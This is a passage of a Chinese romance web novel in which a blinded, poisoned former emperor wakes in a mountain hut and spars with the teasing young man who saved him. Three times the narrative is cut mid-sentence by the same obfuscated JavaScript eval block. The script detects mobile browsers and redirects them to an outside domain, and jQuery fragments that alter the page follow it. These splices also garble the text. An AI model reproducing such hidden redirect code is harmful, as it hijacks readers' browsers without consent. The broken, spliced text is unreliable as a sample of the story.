寒冬里,在琼州耀武扬威的大雪已然到了最嚣张的时候,呼号着吹得人不敢出屋,灶台上架着一口小砂锅,温好的粥在锅里小幅度咕噜出声。
要不是捣药的声音听起来太过凶残,简直称得上岁月静好。
江枕玉的意识就是在一声一声的敲击中被唤回来的。
昏睡已久的人大脑昏沉,还没办法理解现状,分不清自己在哪,脑子里最后的记忆是坠落山崖的失重感和随之而来的剧痛。
耳边的敲击声越来越清晰,很像不断落下的惊堂木,风雪哀哭,咕噜咕噜的声响混杂在一起,分外诡谲。
脱下外袍走向山崖时,江枕玉几乎笃定自己会死在皑皑白雪间,哪想到还会有再度睁眼的那一天。
五感渐渐回归,他能感受到自己的四肢绵软无力,身上有多处外伤,最重要的是,他尽力睁开了双眼,入目一片黑暗。
残留在脑海里,那惊堂木落下似的余音让人神志不清。
他似是感慨地用微不可查的嘶哑声音说道:“这里是……阎王殿?”
应青炀耳力比不上阿墨,但他在这些天里,对榻上那人的反应极为敏锐,江枕玉苏醒前只无意识地动了动手指,他便有所察觉。
他手上的活计没停,只抬眼看着床榻的方向,也一眼见到了男人失焦的双目。
那是一双瞳色略有些清浅的眼眸,像是上好的琥珀,却因为没有聚焦而显得十分暗淡。
应青炀无端生出了些联想。
据说瞳色浅的人会比寻常人更加畏光。
而此刻的风雪声中,床头的一盏油灯缓慢地燃烧,昏黄色的光芒照亮室内,看似柔和,离得近了倒觉得刺眼。
那双浅色的眸子似乎无意识地微微眯起。
应青炀心神微动,一个念头迅速从脑海中滑过。
不过在听到那句喃喃之后,应青炀立刻回过神来,哑然失笑,他一贯散漫,嘴里没个正形,“阴曹地府大概没有炉火和棉被,也没有床铺给你躺着。”
“你是觉得自己像孤魂野鬼,还是觉得我是黑白无常牛头马面?”
这话出口时便带着点责怪。
入耳的声音清亮,尾调微微上挑,钩子似的在耳边轻轻剐蹭一下。
江枕玉神志其实还没有完全清醒过来,他伤势太重,过往的陈珂顽疾也跟着来势汹汹,这会儿能睁眼已经是勉强,根本没办法第一时间分辨自己的处境。
他思维凝滞了片刻,沉下心去感受周遭的环境,原本那略显可怖的声音被他一一辨明,短短几秒之间,便简单确认了自己的现状。
他此刻正躺在床榻上,身下垫了一层棉被,身上似乎被换了一身衣服,布料有些扎人,内层似乎加了棉絮,不太舒适,但胜在保暖。
江枕玉觉得全身都不听使唤,尤其是左小腿,没什么知觉,似乎还用夹板固定住了。
感官随之再向外延展,屋内略有些空旷,木柴燃烧的噼啪声和砂锅里食物翻滚的声音混在一起,屋外是琼山山脉呼号着的风雪,似乎间或有东西被吹飞的声音响起。
由此判断,他目前所在的屋子,主人的生活十分清贫,就算没到家徒四壁的地步,也差不了太多。
起码江枕玉最难过的那几年,也没用过这么折磨人的布料。
而他目前所在的这栋房屋,唯一的优点便是不会四面漏风,不稳固得像是快要散了架。
江枕玉隐约记起自己从山崖上坠落,撞到了类似捕兽的陷阱上,巨网层层缓冲,让他勉强保住一条命。
江枕玉还记得昏迷前有人急匆匆地走到自己身边,想来便是那人救了他。
他亲自给自己计算的死局,居然在临门一脚的时候被人撞破。
江枕玉不明白,就算阴差阳错中他没有坠亡,深入肺腑的剧毒也早该要了他的性命。
这偶然救了他的人,居然还有本事解他的毒。
屋内短暂地寂静了一会儿。
应青炀已经放下石杵,拖着下巴饶有兴致地打量着榻上的男人,十分有耐心地等待这人的回应。
数他直言,这人睁开眼的模样也和他想象中的一样,是个文人雅士谦谦君子的模样,想必在诗词歌赋上也是一把好手。
和应青炀这种写个婚书都要靠文抄公的人完全不一样。
但床榻上的人只是轻轻眨了眨眼,问:“你认识我?”
应青炀道:“山脚下是第一次见。”
“你与我有仇怨?”
“素未谋面,哪里来的仇怨?”
“那我杀了你全家老小亲眷手足?”
“并未。”
应青炀笃定的回应一出口,榻上的男人沉默片刻,语气淡漠,仿佛把自己的性命当成早该被抛却的东西。
他又问:“那你为何救我?”
杀了追兵之后他不曾回头,沉默地走进群山间,便代表着史官落笔,帝位正式更迭已成定局。
至于他自己,是生是死对他来说并无差别,活着凑合,死了也没什么不好。
而现在他的处境,江枕玉再算无遗策,也想不到黄泉路上还能碰见个活阎王。
双目失明,不良于行,这样苟延残喘的后半生和死亡相比,当然是后者更合他的心意。
不管是何原因,他厌恶一切被挟制的境况,光是想象一下就让人作呕。
应青炀盯着了无生趣的男人,歪了歪头,“你这人真是奇怪,救人还必须要有个理由?想救便救了,积德行善的好机会啊。”
江枕玉觉得眼皮有点酸痛,他没有开口反问对方,一个废人就算活下来又有什么意义。
至少他所能想到的情景,都并不值得期待。他从不吝以最深的恶意来揣测他人,脑海里却将所有他会被救的理由过了一遍。
玉佩?衣袍?还是单纯的心善?
一些几乎要被彻底遗忘的往事疯了似的上涌。
江枕玉心里有种莫名的被冒犯的烦躁,病痛和郁闷堆叠在一起缓慢燃烧。
他讨厌这种自作聪明的善意。
他全身的感官知觉似乎也随着意识的清醒而缓慢回归。
因而左腿上隐约传来的痛感和束缚便显得格外有存在感。
江枕玉其实已经不抱什么希望,还是开口问了一句:“我的腿……”
“骨头错位,差点断了,我帮你接好了。”
“……你是大夫?”
“不是。跟大夫学了两招。”
江枕玉缓缓闭上眼睛。
眼前一片漆黑的感觉如此陌生,黑暗会让负面情绪无休止地疯涨。
应青炀后知后觉发现自己的话有些歧义,解释道:“我虽然没有多少实践经验,但手艺很好的,黑影就是我从山崖下面捡回来救活的……”
“……黑影?”
男人嘶哑的声音中带着点疑惑,觉得这似乎不太像是一个人的名字。
应青炀下意识地回答:“哦,村里那匹瘸腿马……”
“……”原来是这种经验吗。
尴尬的沉默弥漫在空气中,躺在床上的男人,干燥的嘴唇嗫嚅几次,终究没能像从前那般克制,喜怒不形于色。
从苏醒开始直到此刻,他心里缠绕着的情绪像污泥一般翻滚的恶意,刻薄得化作唇齿上的利刃,脱口而出。
“有时候无聊的慈悲,对其他人来说是穿肠的毒药,割肉剔骨的尖刀。”
“这世上没有无缘无故的善意,有些人会将曾经没能做到的事情,代
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960297|161039||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
偿到其他陌生人身上。”
“你也有想要弥补、有所亏欠的人吗?”
你以为你在救人?
你不过是个钝刀割肉的刽子手。
男人语气轻描淡写,甚至有些温和,仿佛唠家常,却足以让直面的人遍体鳞伤。
他的话并没有第一时间得到回音,但他还尤嫌不足。
“你想要什么?财富?权力?地位?”
“很可惜,我已孑然一身,救我并不能让你得到任何东西,反而似乎浪费了不少药草和存粮。”
说着,他似嘲讽的一顿,“身上这件衣袍还勉强算得上有些价值,你想要便拿去。”
他眼前一片黑暗,但失去视力似乎强化了其他感官,他能清晰地听到室内另一人的心跳声。
沉静而有力,在他刀斧一般的言语下,没有半点变化。
他看不见那人的脸,只隐约觉得对方的视线一直落在自己身上,意味深长。
便听那清亮的少年音带着点难忍的笑意,从他耳畔轻轻拂过,“你就只想说这些吗?没有别的了?”
应青炀托着下巴,目光在男人面颊上逡巡。
长时间的昏迷让他消瘦得厉害,即便每日能进些流食下去,也只是勉强维持生命。
他在观察这人的呼吸,睫毛无意识的颤动,以及毫无血色,略显薄情的唇。
偏偏没有在意对方的长篇大论,而是在想,是不是自古以来有些君子气节的人都是这么拧巴,连求死的话都说得这么委婉。
他不得不承认自己和这类人有着与生俱来的区别,应青炀只在意活着,而后者大概还会思考活着的方式。
应青炀仿佛生来便不知道什么叫扫兴,又或者经历惯了,便不觉得有什么稀奇的。
“嗯?你不说了吗?到我了?”
应青炀从来没在吵架上服过软,只有别人被他怼得哑口无言的份,这点程度还不够让他破防。
他这人软硬不吃油盐不进,最重要的是,没脸没皮。
他甚至没在男人的话里感受到多少攻击性,不痛不痒。
论起唇齿之争,没有人比应青炀更有优势,更会戳人肺管子。
“弥补亏欠?那你想错了,我从未亏欠过任何人,如果真要说的话,也只有别人欠我的份。”
“比如你。你落下来的时候毁了我的宝贝网子,你知道我花了多少精力才做好的吗?”
“至于要多少银钱,我还要好好算算。而且我这么像做好事不求回报的傻子?救你只不过是不希望人财两空。”
榻上的那人没有说话,只是下意识地向应青炀的方向侧过脸,隐约觉得两人之间的距离似乎在拉近。
江枕玉这下确信,那接住他的巨网是这人布置的某种捕兽装置,只是刚好他运气不好,落到了上面。
他心里翻涌着的复杂情绪终于有些止息。
应青炀却在此刻低头凑了过去,他一手支在颊侧,一双多情的眼里却无半点暖色,满是嘲弄的意味。
他冰凉的指尖落在男人散落的长发间,勾起一缕把玩,像是十分闲适、仿佛在逗弄猎物的野生猛兽。
江枕玉隐约有所觉,明明只是被抓住了一缕发丝,却无端有种被人抓住命脉的危机感。
应青炀带着点笑意说:“你放心,这些账我都记着呢,你还完之前,不许死。”
“而且还有一个更坏的消息。给你用的解毒药方是我家祖传的,只能给内人用,所以我已和家中长辈说明,娶你过门。”
“唉?那句话怎么说来着?”应青炀故意沉默片刻,随即恍然大悟似的:“救命之恩,以身相许!”
“你觉得什么时候合适?只要你点头,我们立刻就拜堂成亲。”
轻佻又乖张的话语配上对方略微上挑的尾音,明显是刻意为之的反击,逞一时口舌之快。而这番地痞流氓似的说辞,竟也不怎么让人厌烦,只觉得荒唐。
江枕玉顿时没了半点睡意,“……什么?”
荒谬。实在荒谬。
江枕玉活了这么多年,就从来没有人敢在他面前说出这种轻薄之语。
……简直放肆。成何体统。
江枕玉骤然有了种一拳打在棉花上的无力感。
他被余毒和伤痛折磨,想必已然形容枯槁、满身死气,半只脚都踏进了鬼门关,除非这人眼光异于常人,才会说出这种看上他容颜的谬论来。
“……你有眼疾?”
“怎么可能。”
江枕玉艰难地蹙眉,眉心快要能够夹死一只苍蝇。
他并不相信对方的这番说辞,只觉得是因为方才那些不友好的言语,这才说了这些话来故意恶心他。
不管怎样,对一个成年男子来说,“嫁人”这种说法是明晃晃的侮辱。
“荒谬……”他下意识地轻嗤一声。即便是南风盛行的大应朝,也没听说过有娶男子入门的事情发生,别说江枕玉同意与否,这人的长辈便会第一个反对。
应青炀将他的表情变化看在眼里,脸上有了些得逞的狡黠,仗着男人看不见他的表情,嘴角疯狂上扬。
只不过目光落在那双失去焦距的清浅眸子时,他嘴角的弧度下落少许,以一种好奇的语气开口问道:“既然早晚都是要拜堂成亲的,能不能满足我的一点好奇心。”
“你中了毒药,只着一件里衣,为什么还敢进琼山?”
一瞬的寂静,两人都知道这个问题的真正含义。
——是否是你一意孤行,一心求死?
江枕玉并未回答。
“是吗……?”应青炀轻喃一声,拇指终于按上了男人的眼角,冰凉的生理泪水擦着他的指尖滑落,带出一抹亮色,隐没在发丝间。
那清浅的瞳孔被灯光刺激得微微震颤,然而榻上的男人始终没有阖眼。
直到并不自知的生理盐水滑过酸涩无知觉的皮肤,擦过应青炀的指尖。
“是吗。”
11. 言之凿凿
长久的沉默之中,足以让某些情绪发酵,也能让某些情绪逐渐平息。
两人都不是会意气用事,会被负面情绪所左右的人。
江枕玉一般不做无用之事,现在这样的情况,口舌之争并无半点用处,只是纯粹的情绪宣泄。
而很显然,他这位救命恩人很有惹毛他的本事。
应青炀便只是单纯的不在乎了,这世上少有事情能在他心里留下印迹,大多数都一笑置之,便断然抛却。
原本剑拔弩张的氛围潮水一般缓慢消退,并在应青炀的一个简单地动作之中彻底消弭于无形。
应青炀盯着自己的指尖,突然站起身,从自己的柜子里抽出一条干净的巾帕,折叠成一个长条,动作轻柔地盖到男人眼睛上。
他活得比较糙,屋子里可没有丝巾丝带之类女子才会用的东西,只能暂时拿这个给对方凑合一下。
不然再过一会儿,这光不知道会不会刺伤这双瞳色浅淡又有少许畏光的眼睛。
江枕玉:“?”
江枕玉起先还有些疑惑盖到他眼睛上的巾帕,但等到巾帕被泪水打湿,缓慢贴在皮肤上,异样的触感才让他察觉到不对劲。
他沉默一瞬,后知后觉地感觉到了细微的疼痛。
他的眼睛原本并不畏光,余毒未清给他带来的后遗症比想象中要更严重些。
应青炀其实有话想说,那句自然而然出现的调侃几乎到了嘴边。
——“有没有人说过你的眼睛特别漂亮?你去过琼州的商贸市集吗?北边有一种特殊的装饰品叫琉璃的,很像。”
他敢肯定这是句打心底里的夸赞,只是听起来略显轻浮,由他说出口大概会将那调侃的味道再加重几份,可以称之为调戏。
所以当他看到男人轻轻抿起的唇,从这个动作中感受到了少许不自在,大概是为了那打湿巾帕却不自知的生理泪水,和被破坏得所剩无几的君子风度。
应青炀莫名有种福至心灵的感觉,这话一旦说出口,原本缓和下来的气氛又要变得僵硬下来。
应青炀非常会把握分寸感,只要他上了心,只要他想。
于是他只是调整了一下巾帕的位置,什么都没有多说,便一伸手把自己的药坛子和石杵捞了过来,继续缓慢地处理药材。
孙大夫开的方子是很有效,可惜对他这个煎药的人来说不太友好,什么磨成粉磨、切碎、捣匀之类的小要求可太多了。
江枕玉大病初醒,实在没有太多精力和这人一一计较,那破天荒的一阵唇枪舌战,已经消耗掉了他的所有情绪。
于是他整个人缓慢沉郁下来,像是滚落的砂石,随着隆冬里的风雪,被沉默地包裹、覆盖,再不露出半点动摇。
江枕玉很疲惫,只觉得眼角酸涩冰凉,随时会再度陷入沉睡中。
然而边上那更近一步的捣药声一直响在耳边,让本来就神经敏感的男人难以真正入睡。
身体的疲惫感和神志的清醒完全相背离,简直是种折磨。
两人长久地不再言语,直到应青炀伸手掖了一下被子,抓着这捣药声的短暂停顿,江枕玉声音嘶哑地说:“你大可不必再看顾我,任我自生自灭还能及时止损。”
“方才把话说得这么明白了,你还想逃避责任呢?”
江枕玉蹙眉,“什么责任?”
“最好的方法当然是嫁给我抵债啊!”清亮的少年音把这流氓话说得理直气壮,没有半点羞耻感。
江枕玉一时语塞,半天没能说出话来。
若是大加斥责的反对,似乎有些太把这堪称玩笑话的要求放在心上。
他也不可能真的点头同意这门名不正言不顺门不当户不对的荒唐婚事。
于是只又冷漠地刺了一句:“荒谬。”潜台词大概是还债的事情容后再议。
片刻后索性略微侧过头,就算眼睛看不到,也不想对着这人的方向平白惹了一身腥。
应青炀一点都没有自己似乎被讨厌了的自觉。
“啧啧啧……你现在的样子简直就是想白嫖然后耍无赖,我虽然是个山里人,为人质朴又不贪财,你也不能这样对我吧?我只是不想人财两空,我有什么错?”他摇摇头,说话间尽是世风日下人心不古的意味,仿佛被人玷污了清白还无处讨公道的良家妇男。
江枕玉额角的青筋直跳,实在不明白这人这张利嘴怎么能不加思索地说出这一连串的混账话来。
“银钱和药材g…我会想办法还你,那种荒唐事不要再提了。”
江枕玉抗拒之意十分明显。
“好想法,但驳回。”应青炀也说得十分果断,“你就不能行行好可怜可怜我,把自己赔给我吗?”
江枕玉:“……”很好。这人明显还在为了之前的事记仇,听着大概年岁不大,这般心性着实是有些幼稚得过了头。
江枕玉生平第一次不受控地在外人面前发泄情绪,就反被这般捉弄。
他并没有发现,他此刻心里除了些许不耐烦之外,竟也没什么额外的负面情绪。
应青炀是个倔脾气、硬骨头。偏要凑过来,捣完了药又去折腾炉火,端了碗温水过来,在江枕玉的拒绝下只是用巾帕沾水,给人润了下唇。
应青炀看了眼江枕玉微微湿润起来的唇瓣,没由来地有些耳热,下意识将视线移开。
行吧,反正这人总会喝的,不差这一时半会儿。
“你好不容易醒了,左右睡不着,身体不适还不能下床,不和我聊天,难道不会觉得无聊吗?躺在床上有什么意思,刚才明明还那么有活力的……”
江枕玉并未说话,脸上的疲惫之色又多了几分。
应青炀在屋子里忙忙碌碌,将盛满粟米粥的砂锅从炉火架上拿下来,砂锅底带起来的一小片炭火迸溅到手背上,“嘶——好烫……”
江枕玉下意识地偏了偏头。
这声音里的痛苦之色并未作伪。
然而应青炀半点没提,又自顾自地问:“哎,你还没告诉我你叫什么名字呢。”
“你也知道我是个山里人,贱名好养活,村里人都叫我阿阳,你也可以这样叫我。”
“你呢?怎么称呼?你这样容色出众,名字肯定也很好听吧?”
榻上的男人似乎并不想搭理这个过分轻佻的人,可他刻在骨子里的礼貌让他无法干脆地保持沉默。
甚至有了点怼回去的念头,好在及时压了回去。
片刻后他才道:“姓江。”
应青炀往自己的碗里舀了一勺粥,听到这个姓氏时不由得挑了下眉。
“江”。不管是在大应还是新朝大梁,都是很平平无奇的姓氏,不但和皇亲国戚沾不上边,连尚存至今的世家大族里,也没有一个江家在。
孙大夫原本是宫廷御医见多识广,他原本根据男人那件月白色里衣的材质,推测男人要么是家世煊赫,要么是商贾巨富。
应青炀相信孙大夫不会看走眼。
此刻男人这番说法肯定有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960298|161039||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
所隐瞒。
可以理解,他们之间差点成了结了梁子的陌生人,这会儿彼此都有所保留也是理所应当的事。
应青炀于是又问:“你多大?”
“二十有九。”
“那我得唤你一句江兄了。”
“……江兄?”榻上的江枕玉在心里揣摩,又缓缓用带着点疑惑的语气江这两个字说出来。
应青炀顿时一哂,从这简简单单的两个字里听出了少许嘲讽,“怎么?我听声音像是很年长的人吗?”
江枕玉的回应来得更快一些,“哦,你这般在意婚配之事,我还以为你年岁也不小了。”
半点没有朝气,十几岁的半大少年,整日想着婚丧嫁娶,像什么样子,可想而知这是个什么穷山恶水的地界。
江枕玉这些年见过形形色色的人,没有一个应青炀这样的,圆滑乖张,漫不经心,仿佛不讲任何事情放在眼里,再恶毒的言语在他那里都能轻轻揭过。
应青炀顿时一愣,随后“噗嗤”一声,哈哈大笑:“哈哈哈哈哈哈哈!不是我说啊,江兄,你就这么在意要嫁给我的事?”
应青炀十分有自信地摸了摸下巴,信口胡说:“啧,那不是说明你还在心里思考过会不会成?没想到你那么看好我?那你且放心,我虽然没什么大本事,在这里养活你还是没有问题的。”
“我喜欢长得俊的,自然也是因为我长得就好看,随便找个人喜结连理也太吃亏了。放心,肯定能让江兄满意,我估摸着就算整个大梁,也不见得会有比我更好看的人。”
如果说前一句话还足以让听者升起一丝关于长相上的好奇,听到末尾是便只会觉得应青炀在吹牛,大放厥词。
反正他面前唯一的看客瞎了眼睛,没办法靠自己的判断,来给这番话分个对错。
江枕玉觉得这番谬论太过难听,多少有些强词夺理,一时间不知道先抓住哪句话开始讽刺。
从睁开眼和这人交谈到现在,那种仿佛一拳打在棉花上的无力感再度涌了上来。
这人还真是……没完没了。
江枕玉打心底里觉得疲惫,和此刻□□上的感觉达成了高调的一致。
如果在国都遇上这人,江枕玉的第一个想法估计就是让应青炀滚出去,离自己越远越好。
奈何寄人篱下,身不由己。
少年爽朗的笑声止息,见江枕玉并不应答,应青炀几步走回榻边坐下。
“看你这幅样子我就知道你不信。”
江枕玉:“……”那还用说。他已经当耳旁风过去听听就算了,何苦为难自己和对方挣个高低。
无用之事。
应青炀见他那表情就很想再辩论几句,颇有些不被认可就不罢休的架势。
通俗来讲,这人是你越质疑他,他越有话要说的那种性格。
江枕玉显然还并不知道,不给这混不吝顺毛就会点燃话痨窝的事实。
应青炀双手环胸,又开始了言之凿凿,“我活了这么多年,都是听着别人的夸赞长大的,什么卫阶之流那些远的就不说了,就说近的,据说大梁第一任探花郎,就是当朝宰相,乃是当年京都府第一美男子。我起码比他还要俊上三分,换成是我在殿试上,估计太上皇也会夸我一句风流少年郎。说不定还会因为我的长相顺眼,给个几品大员当当……”
江枕玉·太上皇本人:“……?”
你说谁会夸你?太上皇吗?
……到底是谁给这人的自信?
12. 不知所谓
江枕玉迟迟没有回应,他自觉已经见多识广,过眼的人如过江之鲫,唯有这人敢在他面前说这些不知所谓的混账话。
大概也是因为,从前那些人碍于身份,不会也不敢在江枕玉面前大放厥词,说些有的没的,毕竟一个不小心就是掉脑袋乃至株连九族的罪责。
肆无忌惮成应青炀这样的,世间罕有。能说会道成应青炀这样的,难得一见。
应青炀说得口干舌燥也尤嫌不足,中间还不忘停下来问一句:“江兄,你觉得呢?”
江兄本人觉得自信是好事,但自信到了这个地步,已经可以称之为不知天高地厚了。
江枕玉蹙着眉忍了又忍,最终还是教训道:“……传言中太上皇的耳目遍布整个大梁,若是让他听到你这些大逆不道之言,想没想过会有什么下场?”
他这话的意思便是想让应青炀慎言,隔墙有耳的道理,即便在大梁再偏僻的地方也同样适用。
这不,这人一不小心,说出的荒唐话就让太上皇本人听了个遍。
“说得有道理。”应青炀点点头。
他若有所思,他恍然大悟。仿佛明白了什么至关重要的人生道理,从此便会洗心革面重新做人。
江枕玉原本以为这人会就此打住,看在太上皇这个名头的威慑上,放弃摧残他的耳膜。
但应青炀果然不按常理出牌,这个混不吝什么胡话都敢说,他翘起二郎腿,一摊手,转而又道:“没事,太上皇这么英明神武善解人意,谪仙一般的人,怎么可能和我这个市井小民计较,心眼儿总不会才针尖儿大点吧?”
江枕玉:“……”若不是如今身体虚弱躺在榻上动弹不得,他倒真是有心让这小子见识见识,看看他到底有多“大度”。
得亏了江枕玉现在不能视物,否则看见这人的模样,几年没动过的杀心估计都要翻腾起来彰显存在感。
应青炀哪里知道自己已经在鬼门关边上走了一遭,他细细思索,的确从脑海深处翻出来一些自家太傅的狠厉批判。
说的是太上皇所掌握的边疆军在逐年渗透大梁各地,到了今日,与其叫边疆军,不如说是大梁军。
因此这人对整个大梁疆域的把控逐年提升,估摸着各地的大事小情,只要大梁军想,都能八百里加急送往国都,呈上太上皇的桌案。
这种行为用姜太傅的话来说就是大权独揽,事事入耳,亲力亲为。
——早晚累死。
应青炀一想起自家太傅那阴阳怪气的讽刺就有点想笑,估摸着也就他老人家会把这种把持朝政的手段当成错误来攻讦。
大梁是从群雄逐鹿中建立起的王朝,各地番邦,各个残余势力此消彼长,想真正平定这些混乱不是一件易事,但太上皇做到了。
但凡为君者,自然都想牢牢地将这天下把握在自己手中,应青炀深表理解,不过对于姜太傅的说辞,也觉得有几分道理。
于是他道:“耳目遍布大梁啊……居然还有这种说法吗?哎你说那位他累不累啊?天天桌案上一封接一封的奏报,想想就头疼。”
“要我说,他不如在各地都安排一个管事的代为处理公务,这案牍劳形之苦谁爱受谁受。”
江枕玉闻言一愣,没想到这小小山野里的猎户竟也有自己独到的见解。
不过这小子说话间就能看出来是进过学堂的,只不过貌似学到的东西都偏门了些,也不知道怎么养成了这幅信口胡说的性子。
传闻只会传出江枕玉想让人知道的内容,所以大梁十二州的中枢参将都是他的亲信这种事,鲜有人知。
所谓的地方动向,在送到他手中之前就会被先一步筛选一次,留下来的便是地方不能轻易做决定的大事。
江枕玉没有那么偏执,说到底他对所谓的皇权也没有多大执念。
他的执念一直都在另一个地方。
然而正在他稍微有些走神的功夫,就听应青炀继续感慨:“要是我我就做个甩手掌柜,呈上来,多把压力转移出去,指责他人就好,何必为难自己。这样不就逍遥自在多了。”
应青炀本人的精神状态起码领先周围人几千年,他对自己亲力亲为剥削式的工作毫无兴趣。
江枕玉:“……”
好一番惊天地泣鬼神的标准纨绔发言。
江枕玉听得都烦了,心说讲学的夫子能撑着没把这个人轰出去,还让这人学了些文雅的用词,脾气实在算得上是一等一的好了。
若是他在国子监见到这样的学生,估计会直接一笔断了他的仕途。抱歉,大梁太上皇就是这样和传闻中一样冷酷无情,残暴狠厉。
他彻底偏过头去,在心里默念清静经,把应青炀的唠叨当成耳边风。
应青炀就算再话痨,也着实做不到对着个快睡着的人持续输出,几次没了回应,便也作罢了。
他消停下来,一眼瞥到边上那已然凉透了的粟米粥,才惊觉自己忘了正事。
方才明明是想趁着江兄醒了,给他喂一碗热粥下肚,再把晚上那份药也让他一起喝了。
天杀的!他自小身体强健,又因为整日满山疯跑,健康了十几年,甚少生病,从来没体会过这种难熬的苦味,简直比他命都苦。
即便知道良药苦口利于病,应青炀也对这种仿佛多加了几倍黄连的苦药深恶痛疾。
可惜他一个不察,就耽误了正事。
应青炀委实难得有个人能如此畅谈,一时间没刹住车。
村里的前朝旧臣们和姜太傅是一路人,放在几千年后,就是大梁太上皇的顶级黑粉,应青炀对这位没什么偏见,在村里是个异类。
他甚少公然和长辈们唱反调,有伤和气,一个远在天边的皇帝,不值当。
但现在不同了,准备把这人强留下来的时候应青炀就想到了,他必然要和江兄做知己!
无话不谈的那种!
尤其是江兄这长俊脸,看着就让人心情愉悦。
在山里和长辈们呆久了,常年和隐有愁容的面孔面对面,应青炀人都郁闷了。
现在可好了,光看着江兄的脸,他都觉得自己能多吃下两碗饭。
可惜他把江兄说烦了,不愿意再理他,应青炀顿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960299|161039||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时扼腕。
他把粥放回锅里温着,离开主屋去叫了孙大夫过来。
江枕玉虽然醒了,身体仍然虚弱,不然不至于没有力气起身,这会儿又再度昏睡了过去。
孙大夫在榻边坐下,隐约觉得屁股底下的小马扎还热乎着,也不知道应青炀在边上守了多久。
他神色奇怪地瞥了边上扔在准备药材的应青炀一眼。
这般无微不至的照顾,为了救人一命真金白玉地砸下去,可算是听到了点响。
这么个重伤濒死的人也能给养回来,孙大夫一方面觉得应青炀好像真的在照顾未来妻子,另一方面又觉得自己宝刀未老,医术还是那么高明。
“要不是你从小在这长大,我都要以为你和这人有什么旧情未了呢。”
“那倒不算,我只是觉得和江兄一见如故,肯定有很多话题可以说道说道。”应青炀放好东西便又凑了过来。
仔细盯着孙大夫的动作,手上无意识地跟着比量,明晃晃地偷师。
“江……?没听过哪个大家姓江,估计是纯粹的大梁人。”孙大夫撇了撇嘴,把脉时便带了点偏见。
他对大梁没什么好感,就算大梁和大应的灭亡实际上并无关系,他们这些人心中,也难免有迁怒的情感在。
国破家亡,新朝再立,便是真的没了方向,从此四海之内皆无归处。
郁结于心的怨气总要有地方发泄,也总要有回归故里再度复国的念想在。
应青炀连忙打哈哈,“不至于,肯定是他之前住得偏远些,您老人家没听过。”
孙大夫冷哼一声并未搭话,感受着手底下的脉象微微蹙眉,“怪了……大病初愈,本该是好事,这人郁结于心的症状怎么反倒有些加重了?”
应青炀:“……”
他一想起方才江兄拒绝交流的模样,便莫名有些心虚。
该不会是听了他的唠叨所以觉得郁闷吧。
哈哈哈哈……肯定不会的吧,他那不就是正常聊天吗?也没什么特别出格的地方吧?
“咳……我就是和他聊了会儿天。”
孙大夫顿时恍然大悟,他起身后拍了拍应青炀的肩膀,叮嘱道:“少说两句,比什么都重要。”
应青炀无奈,“我,我尽量克制,但您老人家也知道的,情之所至,有时候也管不住自己啊。”
“没什么大碍,喝药,用些饭食,注意保暖。只能慢慢养着了。”孙大夫说着说着就继续数落他,“你说说你,捡回来的人倒金贵,以前皇宫里怀了孕的嫔妃也就这待遇,你倒好,一门心思在一个男人身上。”
“您这话就有点难听了。这情爱一事哪是人能改变得了的,一见钟情山盟海誓非卿不娶的故事比比皆是。”应青炀唏嘘着,语重心长,试图改变孙大夫根深蒂固的旧思想。
孙大夫点点头,“殿下啊。”
应青炀:“嗯?”
“少看点话本。”他这样说了一句,拎上自己的药箱施施然推门走了。
被留下的应青炀:“……”
您老人家骂得可真脏啊。
13. 山枣蜜饯
应青炀废了好大的力气,才把自己到了嘴边的那几句回怼的话咽回去。
话匣子一打开就是这点不好,容易收不住。
他怕他的刀子嘴伤到孙大夫的豆腐心,万一他老人家不肯再来,他和江兄怕不是要冻死在主屋里。
再者,他可是尊老爱幼的好少年啊!!
应青炀伸手做了个捂嘴的动作,算是提醒自己做个人。
好少年乖乖地把孙大夫送出门,立刻转悠回去,把原本放在床榻下藏起来的书箱又往里推了推。
至于里面到底放了多少话本,应青炀自己也记不清了。
谁说他不喜欢做学问的,胡说!那得分是什么学问。
应青炀拍了拍手上并不存在的灰尘,坚决不肯承认自己受到了话本荼毒。
又想起孙大夫说江兄郁结于心,他便又低头瞥了一眼榻上躺着的人。
江枕玉仍然脸色惨白,昏睡中眉心紧蹙,看起来十分不安稳,挥之不去的郁色更觉憔悴。
应青炀看着都想跟着皱眉。
他早便将对方脸上的巾帕取了下来,那巾帕料子差、灰扑扑的颜色怎么看怎么觉得丑角人寰,起码放在江枕玉那张俊脸上简直就是毁容级别的灾难。
要不是手边没有合适的东西给对方遮光,应青炀这种颜狗断然不会做荼毒自己眼睛的事。
这人眼睛为畏光的后遗症,大概要残留一段时间,后续会不会痊愈,完全看命。
想起那双清浅的眼眸,失焦地望向不知名的地方,应青炀心里骤然一刺。
